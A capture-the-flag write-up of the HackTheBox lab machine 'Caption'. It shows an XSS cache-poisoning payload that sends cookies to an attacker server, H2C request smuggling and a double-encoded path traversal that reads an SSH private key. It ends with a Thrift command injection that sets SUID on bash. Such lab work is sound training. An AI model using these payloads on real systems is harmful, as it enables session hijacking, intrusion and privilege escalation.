HackTheBox Caption
Writeup for HackTheBox Caption
Machine Synopsis
Key exploitation techniques:
- GitBucket default credentials and source code review
- Web Cache Deception (WCD) via XSS and response poisoning for session hijacking
- HTTP/2 Cleartext (H2C) smuggling to bypass HAProxy
- Path traversal (CVE-2023-37474) on a local service
- SSH private key extraction
- Apache Thrift service command injection
Enumeration
An nmap
scan identified SSH (22/tcp), HTTP (80/tcp) running HAProxy, and HTTP-proxy (8080/tcp) running Jetty.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
❯ nmap -p- --min-rate 10000 10.10.11.33
PORT STATE SERVICE
22/tcp open ssh
80/tcp open http
8080/tcp open http-proxy
❯ nmap -p 22,80,8080 -sC -sV 10.10.11.33
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.9p1 Ubuntu 3ubuntu0.10 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 256 3e:ea:45:4b:c5:d1:6d:6f:e2:d4:d1:3b:0a:3d:a9:4f (ECDSA)
|_ 256 64:cc:75:de:4a:e6:a5:b4:73:eb:3f:1b:cf:b4:e3:94 (ED25519)
80/tcp open http-proxy HAProxy http proxy 2.0.0 or later
|_http-open-proxy: Proxy might be redirecting requests
|_http-title: Did not follow redirect to http://caption.htb
8080/tcp open http Jetty
|_http-title: GitBucket
Service Info: OS: Linux; Device: load balancer; CPE: cpe:/o:linux:linux_kernel
Update /etc/hosts
:
1
❯ echo -e '10.10.11.33\tcaption.htb' | sudo tee -a /etc/hosts
Here is the webpage on port 80
. It is a login portal.
Here is the webpage on port 8080
. It is a GitBucket
web application.
There are 2 repository. One is Caption Portal
and the other is Logservice
.
Within the Caption Portal
, we can observe that there is an app
folder and config
folder with a README
file.
Inside the config
folder, there is a haproxy
folder, service
folder, and varnish
folder.
One important information to remember here is that in /config/service/varnish.service
config file, it states that HTTP2
is enabled.
The commit history of this repository also seemed really interesting.
There is a Update Acess Control
commit which consists of credentials for margo
!
margo:vFr&cS2#0!
.
In this file, we can also observe that the /logs
and /download
endpoints are being restricted.
With the credentials found, we can now login to the web portal on port 80
.
Exploitation
Interestingly, there is a Firewalls
tab and at the bottom of the page, we notice that there is a note stating that Services are currently undergoing maintenance. Admins are actively addressing some issues with this feature.
.
This sounds like we will be exploiting some XSS
vulnerability to obtain the admin
cookies.
Inspecting the HTTP request to /firewalls
endpoint shows something intriguing. It is calling a script
with the source
pointing towards some internal proxy
. There is also an unusual X-Cache
header in the HTTP response.
Analyzing the HTTP response headers when accessing the their web portal, it seems like the portal is using Varnish
as a web cache service and the version is 6.6
.
1
2
3
4
5
6
HTTP/1.1 200 OK
server: Werkzeug/3.0.1 Python/3.10.12
x-varnish: 32770
age: 0
via: 1.1 varnish (Varnish/6.6)
x-cache: MISS
Further playing around with the host headers, it was observed that the X-Forwarded-Host
was vulnerable to XSS
.
List of payloads tried:
1 2 3 4 5Redirect: 127.0.0.1 X-Forwarded-By: 127.0.0.1 X-Forwarded-For: 127.0.0.1 X-Forwarded-Host: 127.0.0.1 X-Forwarded-Port: 80
Note: you can only test the payloads for the vulnerability every approximately 2 minutes when the cache “refreshes”.
XSS via Header Injection: Testing various header injection points revealed X-Forwarded-Host
was vulnerable to XSS:
1
X-Forwarded-Host: 127.0.0.1"></script> <script src="http://10.10.xx.xx/hehe.js"></script><!--
Or another simpler way to get the cookie directly is to use the following payload.
1X-Forwarded-Host: 127.0.0.1"></script> <script>fetch("http://10.10.16.6/?c=" + document.cookie);</script><!--
1 2 3 ❯ python3 -m http.server 80 10.10.11.33 - - "GET /?c=session=eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJ1c2VybmFtZSI6ImFkbWluIiwiZXhwIjoxNzQ0OTc4NDcwfQ.5s8citL422Y3jqTzaU4AnFfo4NpCMKlUvA1ImK8OaRs HTTP/1.1" 200 - ...
Session Hijacking Payload
1
2
3
4
5
6
7
❯ cat hehe.js
(function stealCookies() {
let xhr = new XMLHttpRequest();
let cookieData = document.cookie;
xhr.open("GET", "http://10.10.16.6?cookies=" + encodeURIComponent(cookieData), true);
xhr.send();
})();
1
2
3
4
❯ python3 -m http.server 80
10.10.11.33 - - "GET /hehe.js HTTP/1.1" 200 -
10.10.11.33 - - "GET /?cookies=session%3DeyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJ1c2VybmFtZSI6ImFkbWluIiwiZXhwIjoxNzQ0OTc3OTM0fQ.6JFf6jC4zAsG4oaZQCvLR_-dmvTSX9Dv4kr1FHugOAE HTTP/1.1" 200 -
...
Despite having admin credentials, direct access to /logs
and /download
endpoints returned 403 Forbidden. The Varnish configuration indicated HTTP/2 support, enabling H2C smuggling attacks.
Smuggling Verification:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
❯ git clone https://github.com/BishopFox/h2csmuggler
❯ cd h2csmuggler
❯ python3 h2csmuggler.py -x http://caption.htb --test
[INFO] h2c stream established successfully.
[INFO] Success! http://caption.htb can be used for tunneling
❯ python3 h2csmuggler.py -x http://caption.htb http://caption.htb/logs
[INFO] h2c stream established successfully.
...
[INFO] Requesting - /logs
:status: 302
...
<!doctype html>
<html lang=en>
<title>Redirecting...</title>
<h1>Redirecting...</h1>
<p>You should be redirected automatically to the target URL: <a href="/">/</a>. If not, click the link.
Bypassing Access Controls:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
❯ python3 h2csmuggler.py -x http://caption.htb http://caption.htb/logs -H 'Cookie: session=eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJ1c2VybmFtZSI6ImFkbWluIiwiZXhwIjoxNzQ0OTc4NDcwfQ.5s8citL422Y3jqTzaU4AnFfo4NpCMKlUvA1ImK8OaRs'
...
[INFO] Requesting - /logs
:status: 200
...
<!DOCTYPE html>
<html lang="en" lang="pt-br" data-bs-theme="dark">
<head>
<meta charset="UTF-8">
<script src="https://cpwebassets.codepen.io/assets/common/stopExecutionOnTimeout-2c7831bb44f98c1391d6a4ffda0e1fd302503391ca806e7fcc7b9b87197aec26.js"></script>
<title>Caption Networks Home</title>
...
<center><h1>Log Management</h1></center>
<br/><br/><center>
<ul>
<li><a href="/download?url=http://127.0.0.1:3923/ssh_logs">SSH Logs</a></li>
<li><a href="/download?url=http://127.0.0.1:3923/fw_logs">Firewall Logs</a></li>
<li><a href="/download?url=http://127.0.0.1:3923/zk_logs">Zookeeper Logs</a></li>
<li><a href="/download?url=http://127.0.0.1:3923/hadoop_logs">Hadoop Logs</a></li>
</ul></center>
</div>
</div>
</header>
...
</body>
</html>
Internal Service Discovery
Accessing http://127.0.0.1:3923/
via the smuggled request revealed a copyparty file server interface with upload/download capabilities.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
❯ python3 h2csmuggler.py -x http://caption.htb http://caption.htb/download\?url\=http://127.0.0.1:3923/ -H 'Cookie: session=eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJ1c2VybmFtZSI6ImFkbWluIiwiZXhwIjoxNzQ0OTc4NDcwfQ.5s8citL422Y3jqTzaU4AnFfo4NpCMKlUvA1ImK8OaRs'
...
[INFO] Requesting - /download?url=http://127.0.0.1:3923/
:status: 200
...
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="utf-8">
<title>💾🎉</title>
<meta http-equiv="X-UA-Compatible" content="IE=edge">
<meta name="viewport" content="width=device-width, initial-scale=0.8, minimum-scale=0.6">
<meta name="theme-color" content="#333">
<link rel="stylesheet" media="screen" href="/.cpr/ui.css?_=AgS6">
<link rel="stylesheet" media="screen" href="/.cpr/browser.css?_=AgS6">
</head>
<body>
<div id="ops"></div>
<div id="op_search" class="opview">
<div id="srch_form" class="opbox"></div>
<div id="srch_q"></div>
</div>
<div id="op_player" class="opview opbox opwide"></div>
<div id="op_bup" class="opview opbox act">
<div id="u2err"></div>
<form method="post" enctype="multipart/form-data" accept-charset="utf-8" action="">
<input type="hidden" name="act" value="bput" />
<input type="file" name="f" multiple /><br />
<input type="submit" value="start upload">
</form>
<a id="bbsw" href="?b=u" rel="nofollow"><br />switch to basic browser</a>
</div>
<div id="op_mkdir" class="opview opbox act">
<form method="post" enctype="multipart/form-data" accept-charset="utf-8" action="">
<input type="hidden" name="act" value="mkdir" />
📂<input type="text" name="name" class="i" placeholder="awesome mix vol.1">
<input type="submit" value="make directory">
</form>
</div>
<div id="op_new_md" class="opview opbox">
<form method="post" enctype="multipart/form-data" accept-charset="utf-8" action="">
<input type="hidden" name="act" value="new_md" />
📝<input type="text" name="name" class="i" placeholder="weekend-plans">
<input type="submit" value="new markdown doc">
</form>
</div>
<div id="op_msg" class="opview opbox act">
<form method="post" enctype="application/x-www-form-urlencoded" accept-charset="utf-8" action="">
📟<input type="text" name="msg" class="i" placeholder="lorem ipsum dolor sit amet">
<input type="submit" value="send msg to srv log">
</form>
</div>
<div id="op_unpost" class="opview opbox"></div>
<div id="op_up2k" class="opview"></div>
<div id="op_cfg" class="opview opbox opwide"></div>
<h1 id="path">
<a href="#" id="entree">🌲</a>
<a href="/">/</a>
</h1>
<div id="tree"></div>
<div id="wrap">
<div id="bdoc"></div>
<div id="pro" class="logue"></div>
<table id="files">
<thead>
<tr>
<th name="lead"><span>c</span></th>
<th name="href"><span>File Name</span></th>
<th name="sz" sort="int"><span>Size</span></th>
<th name="ext"><span>T</span></th>
<th name="ts"><span>Date</span></th>
</tr>
</thead>
<tbody>
<tr><td>-</td><td><a href="fw_logs">fw_logs</a></td><td>14209</td>
<td>%</td><td>2024-03-06 12:15:18</td></tr>
<tr><td>-</td><td><a href="hadoop_logs">hadoop_logs</a></td><td>16685</td>
<td>%</td><td>2024-03-06 14:40:52</td></tr>
<tr><td>-</td><td><a href="ssh_logs">ssh_logs</a></td><td>15300</td>
<td>%</td><td>2024-03-06 14:38:09</td></tr>
<tr><td>-</td><td><a href="zk_logs">zk_logs</a></td><td>13145</td>
<td>%</td><td>2024-03-06 14:41:03</td></tr>
</tbody>
</table>
<div id="epi" class="logue"></div>
<h2 id="wfp"><a href="/?h" id="goh">control-panel</a></h2>
<a href="#" id="repl">π</a>
</div>
<div id="srv_info"><span>caption</span> // <span>2.69 GiB free of 8.76 GiB</span></div>
<div id="widget"></div>
<script>
var SR = "",
TS = "AgS6",
acct = "*",
perms = ["read"],
dgrid = false,
themes = 8,
dtheme = "az a z",
srvinf = "caption</span> // <span>2.69 GiB free of 8.76 GiB",
lang = "eng",
dfavico = "🎉 000 none",
def_hcols = [],
have_up2k_idx = false,
have_tags_idx = false,
have_acode = false,
have_mv = true,
have_del = true,
have_unpost = 43200,
have_zip = true,
sb_md = "downloads forms popups scripts top-navigation-by-user-activation",
sb_lg = "downloads forms popups scripts top-navigation-by-user-activation",
lifetime = 0,
turbolvl = 0,
idxh = 0,
frand = false,
u2sort = "s",
have_emp = false,
txt_ext = "txt nfo diz cue readme",
logues = ["", ""],
readme = "",
ls0 = null;
document.documentElement.className = localStorage.theme || dtheme;
</script>
<script src="/.cpr/util.js?_=AgS6"></script>
<script src="/.cpr/baguettebox.js?_=AgS6"></script>
<script src="/.cpr/browser.js?_=AgS6"></script>
<script src="/.cpr/up2k.js?_=AgS6"></script>
</body>
</html>
We observe that there are multiple /.cpr/
subfolders. Googling for .cpr folder exploit
resulted in this ExploitDB directory traversal exploit.
1
2
#POC
curl -i -s -k -X GET 'http://127.0.0.1:3923/.cpr/%2Fetc%2Fpasswd'
It seems like an easy exploit but the tricky part is to double encode the value /etc/passwd
which results in %252Fetc%252Fpasswd
.
1
2
3
4
5
6
7
8
9
❯ python3 h2csmuggler.py -x http://caption.htb http://caption.htb/download\?url\=http://127.0.0.1:3923/.cpr/%252Fetc%252Fpasswd -H 'Cookie: session=eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJ1c2VybmFtZSI6ImFkbWluIiwiZXhwIjoxNzQ0OTc4NDcwfQ.5s8citL422Y3jqTzaU4AnFfo4NpCMKlUvA1ImK8OaRs'
[INFO] Requesting - /download?url=http://127.0.0.1:3923/%252Ecpr%252F%252Fetc%252Fpasswd
:status: 200
...
root:x:0:0:root:/root:/bin/bash
margo:x:1000:1000:,,,:/home/margo:/bin/bash
ruth:x:1001:1001:,,,:/home/ruth:/bin/bash
...
Nice! It works. Since we know that there is a user margo
, we can try to get the SSH
key. However, there was another trick here. It wasn’t the standard id_rsa
key, it was the id_ecdsa
. We can check the type of SSH key by grabbing the authorized_keys
.
Remember, /home/margo/.ssh/authorized_keys
double encode results in %252Fhome%252Fmargo%252F%252Essh%252Fauthorized%255Fkeys
and /home/margo/.ssh/id_ecdsa
double encode results in %252Fhome%252Fmargo%252F%252Essh%252Fid%255Fecdsa
.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
❯ python3 h2csmuggler.py -x http://caption.htb http://caption.htb/download\?url\=http://127.0.0.1:3923/.cpr/%252Fhome%252Fmargo%252F%252Essh%252Fauthorized%255Fkeys -H 'Cookie: session=eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJ1c2VybmFtZSI6ImFkbWluIiwiZXhwIjoxNzQ0OTc4NDcwfQ.5s8citL422Y3jqTzaU4AnFfo4NpCMKlUvA1ImK8OaRs'
...
[INFO] Requesting - /download?url=http://127.0.0.1:3923/.cpr/%252Fhome%252Fmargo%252F%252Essh%252Fauthorized%255Fkeys
:status: 200
...
ecdsa-sha2-nistp256 AAAAE2VjZHNhLXNoYTItbmlzdHAyNTYAAAAIbmlzdHAyNTYAAABBBMY5d7Gy+8OLp5/fgComuWw4o/dzKex6KnS1f9H4Dnz2xKQSvNQ4Q4ltrsbUSnZNrBMlNtZvYpE5is5gsDTPKxA= margo@caption
❯ python3 h2csmuggler.py -x http://caption.htb http://caption.htb/download\?url\=http://127.0.0.1:3923/.cpr/%252Fhome%252Fmargo%252F%252Essh%252Fid%255Fecdsa -H 'Cookie: session=eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJ1c2VybmFtZSI6ImFkbWluIiwiZXhwIjoxNzQ0OTc4NDcwfQ.5s8citL422Y3jqTzaU4AnFfo4NpCMKlUvA1ImK8OaRs'
[INFO] Requesting - /download?url=http://127.0.0.1:3923/.cpr/%252Fhome%252Fmargo%252F%252Essh%252Fid%255Fecdsa
:status: 200
...
-----BEGIN OPENSSH PRIVATE KEY-----
b3BlbnNzaC1rZXktdjEAAAAABG5vbmUAAAAEbm9uZQAAAAAAAAABAAAAaAAAABNlY2RzYS1zaGEy
LW5pc3RwMjU2AAAACG5pc3RwMjU2AAAAQQTGOXexsvvDi6ef34AqJrlsOKP3cynseip0tX/R+A58
9sSkErzUOEOJba7G1Ep2TawTJTbWb2KROYrOYLA0zysQAAAAoJxnaNicZ2jYAAAAE2VjZHNhLXNo
YTItbmlzdHAyNTYAAAAIbmlzdHAyNTYAAABBBMY5d7Gy+8OLp5/fgComuWw4o/dzKex6KnS1f9H4
Dnz2xKQSvNQ4Q4ltrsbUSnZNrBMlNtZvYpE5is5gsDTPKxAAAAAgaNaOfcgjzxxq/7lNizdKUj2u
Zpid9tR/6oub8Y3Jh3cAAAAAAQIDBAUGBwg=
-----END OPENSSH PRIVATE KEY-----
1
2
3
4
5
❯ subl id_ecdsa
❯ chmod 600 id_ecdsa
❯ ssh margo@caption.htb -i id_ecdsa
margo@caption:~$ cat /home/margo/user.txt
27e3beb00254fab54e76c1e644286b34
Privilege Escalation
Lets check for any active process listening.
1
2
3
4
5
6
margo@caption:~$ netstat -tunlp
Proto Recv-Q Send-Q Local Address Foreign Address State PID/Program name ...
tcp 0 0 127.0.0.1:8000 0.0.0.0:* LISTEN 1315/python3
tcp 0 0 127.0.0.1:3923 0.0.0.0:* LISTEN 1310/python3
tcp 0 0 127.0.0.1:9090 0.0.0.0:* LISTEN -
...
There is a service listening on port 9090
. We look back to the LogService
repo on GitBucket and find out that the server.go
file is indeed listening on port 9090
.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
package main
// import statements truncated
type LogServiceHandler struct{}
func (l *LogServiceHandler) ReadLogFile(ctx context.Context, filePath string) (r string, err error) {
// ReadLogFile code here
// start of vulnerable code section
logs := fmt.Sprintf("echo 'IP Address: %s, User-Agent: %s, Timestamp: %s' >> output.log", ip, userAgent, timestamp)
exec.Command{"/bin/sh", "-c", logs}
}
return "Log file processed",nil
}
func main() {
// main code here
}
Vulnerability Analysis: The service extracts User-Agent strings from log files and passes them directly to exec.Command
without sanitization, enabling command injection.
Exploit Development
Port Forwarding:
1
❯ ssh -L 9090:127.0.0.1:9090 -i id_ecdsa margo@10.10.11.33
Environment Setup:
1
2
3
4
5
6
7
8
# Clone repository and install dependencies
git clone http://caption.htb:8080/git/root/Logservice.git
sudo apt install thrift-compiler
python3 -m venv .venv && source .venv/bin/activate
pip3 install thrift
# Generate Python client
thrift --gen py log_service.thrift
Malicious Log File Creation:
1
2
# On target system
echo '"user-agent":"'\''$(chmod u+s /bin/bash) '\''"' > /tmp/exploit.log
Thrift Client Exploit:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
❯ cat exploit.py
#!/usr/bin/env python3
from thrift import Thrift
from thrift.transport import TSocket, TTransport
from thrift.protocol import TBinaryProtocol
from log_service import LogService
def main():
transport = TSocket.TSocket('localhost', 9090)
transport = TTransport.TBufferedTransport(transport)
protocol = TBinaryProtocol.TBinaryProtocol(transport)
client = LogService.Client(protocol)
transport.open()
result = client.ReadLogFile("/tmp/exploit.log")
transport.close()
if __name__ == "__main__":
main()
❯ python3 exploit.py
Finally, we go back to margo
shell, check if bash
has the SUID
set and run bash
as root
.
1
2
3
4
5
6
7
# Verify SUID bit set on bash
ls -la /bin/bash
# -rwsr-xr-x 1 root root 1396520 Mar 14 2024 /bin/bash
# Escalate to root
bash -p
cat /root/root.txt